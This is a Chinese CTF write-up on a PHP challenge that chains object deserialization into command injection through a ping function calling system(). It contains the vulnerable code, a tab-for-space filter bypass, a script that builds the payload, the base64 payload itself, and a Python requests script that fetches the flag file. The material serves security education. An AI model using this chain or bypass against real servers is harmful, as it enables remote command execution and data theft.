代码来自第六届防灾科技学院网络安全技能大赛,侵删。

目标

获取Linux服务器根目录下的flag

代码

/*home.php*/
class home{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($host){system("ping -c 2 $host");}function waf($str){$str=str_replace(' ','',$str);return $str;}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));}}
}
$a=@$_POST['a'];
@unserialize(base64_decode($a));

分析

该PHP文件只接收一个base64编码的POST参数,将其解码后会进行反序列化操作。

在执行__wakeup()方法之后,会触发__construct()方法进行初始化,该方法没有可以利用的地方。

当所有的操作执行完毕之后,需要释放序列化的对象,触发__destruct()魔术方法。该方法只允许执行类中的ping方法,并会将args的值作为ping方法host参数。

ping中存在可控参数$host,且调用了system函数,这里便可以作为一个利用点。可以构造一个特殊的payload:

ping -c 2 127.0.0.1|cat /flag.txt
#不唯一

利用

整理上面的思路可知,若想得到flag最终要构造出如下的args字符串:

127.0.0.1|cat /flag.txt

而waf等方法又过滤掉了空格,这里可以通过将空格换成Tab来绕过该限制。
同时还要注意method必须为ping。

这里得到了构造payload的最终PHP脚本:

class home{private $method;private $args;
}$a = new home("ping",array('127.0.0.1|cat   /flag.txt'));$b = serialize($a);echo base64_encode($b);

payload

Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ==

发送payload得到flag

import requests
data ={"a":"Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ=="}
url = 'http://localhost/common/home.php'
r = requests.post(url,data=data)
print(r.text)
#result:flag{glzjin_wants_a_girl_friend}

转载于:https://www.cnblogs.com/kevinbruce656/p/11198236.html

CTF中PHP反序列化和命令注入的一次简单利用相关推荐

  1. CTF之web学习记录 -- 命令注入

    命令注入 概述 常见攻击方式 使用管道符号 escapeshellarg和escapeshellcmd 无参RCE 模板注入 命令执行漏洞修复 总结 概述   web服务器后端代码有时会调用一些执行系 ...

  2. 热门Ruby 库中存在严重的命令注入漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 开发人员修复了用于解析和转换 AsciiDoc 文件的热门 Ruby库中存在一个命令注入漏洞. 命令注入漏洞可使攻击者在运行应用程序的服务器上执 ...

  3. CTF中的PHP反序列化ALL IN ONE

    CTF中的PHP反序列化 1.反序列化的基础知识 什么是序列化,反序列化,php反序列化,序列化字符串知识,漏洞产生原因,修复方法 php反序列化漏洞,又叫php对象注入漏洞,是ctf中常见的漏洞. ...

  4. php如何检测在另一台设备登录怎么做_如何使用Metasploit的Web Delivery Script和命令注入弹出Shell(翻译)...

    Web交付概述 Metasploit包含一个有用的模块,它在你的的设备上创建的服务器上承载一个负载.一旦目标设备连接到服务器并执行负载,就会运行web交付脚本.这个模块是通用的,因为它可以面向Pyth ...

  5. java 漏洞挖掘_Apache Tika命令注入漏洞挖掘

    *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 介绍 这篇文章将从一个Apache tika服务器的命令注入漏洞到完全利用的步骤. ...

  6. PHP命令注入***

    PHP命令注入***漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!.DedeCMS等都曾经存在过该类型漏洞.本文描述了常见的PHP命令注入***漏洞存在形式和利用方法 ...

  7. WEB安全基础-命令注入

    命令注入 命令:如DOS(关机,添加用户,运行某个文件等等等)命令和Bash命令 DOS:查看本地网络:ipconfig 查看当前系统用户:net user 查看目录:dir "./&quo ...

  8. OpenSSH 命令注入漏洞通告(CVE-2020-15778,Openssh <=8.3p1)

    一.漏洞概要 2020年6月9日,研究人员Chinmay Pandya在Openssh中发现了一个漏洞,于7月18日公开.OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者 ...

  9. 对开源库 limdu 命令注入漏洞 (CVE-2020-4066) 的简要分析

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 开源库Limdu 的 trainBatch 函数中存在一个命令注入漏洞 (CVE-2020-4066). Limdu 是 Node.j ...

  10. 修改jar 注入_Apache Tika命令注入漏洞挖掘

    介绍 这篇文章将从一个Apache tika服务器的命令注入漏洞到完全利用的步骤.CVE是https://nvd.nist.gov/vuln/detail/CVE-2018-1335.由于Apache ...

最新文章

  1. Objective-C中对Url的参数进行编码
  2. java 热替换_class卸载、热替换和Tomcat的热部署的分析
  3. Rosonblatt线性感知器
  4. linux下set和eval的使用小案例精彩解答
  5. 你看我还有机会吗?这么GAN让我秃然荒了!
  6. 11 CO配置-控制-成本中心会计-定义分割结构
  7. 解决 Python2 和 Python3 的共存问题
  8. Microsoft Visual Studio 2005 多线程时 解决不是该线程创建的来访问
  9. mysql5.7 存储二进制_MySQL5.7 基于二进制包的安装
  10. 多线程爬取图片 -Java
  11. 苹果ios啸叫频点测试软件_啸叫抑制之陷波法
  12. blender风格化草地
  13. c语言 java 嵌入式_嵌入式C语言编译器
  14. 写给零基础入坑蓝桥杯的同学
  15. 使用Jimi处理图像
  16. rk3588调试之imx415摄像头
  17. mac常用快捷键,Mac文件重命名快捷键,Mac OS快速访问系统根目录
  18. 加勒比海盗船——最优解转载问题c++
  19. 单模单纤FC接口光纤传输距离
  20. 有了她,容易多了-- aardio语法与使用手册

热门文章

  1. c++循环输入一个字符可录入空格和换行_如何快速录入数据?
  2. python-图书管理系统3-[代码部分]-需要完善
  3. 关于垂直列行值转成水平行值及多列值转合并成单列值
  4. CS224N笔记——反向传播
  5. 未能加载文件或程序集“Newtonsoft.Json”或它的某一个依赖项。找到的程序集清单定义与程序集引用不匹配。 (异常来自 HRESULT:0x80131040)...
  6. js 判断是否是 整数
  7. 内存不足时Android 系统如何Kill进程
  8. 导入导出mysql数据库
  9. 读书笔记18:命令模式
  10. 起II6.0中使用windows2003自带的虚拟主机管理系统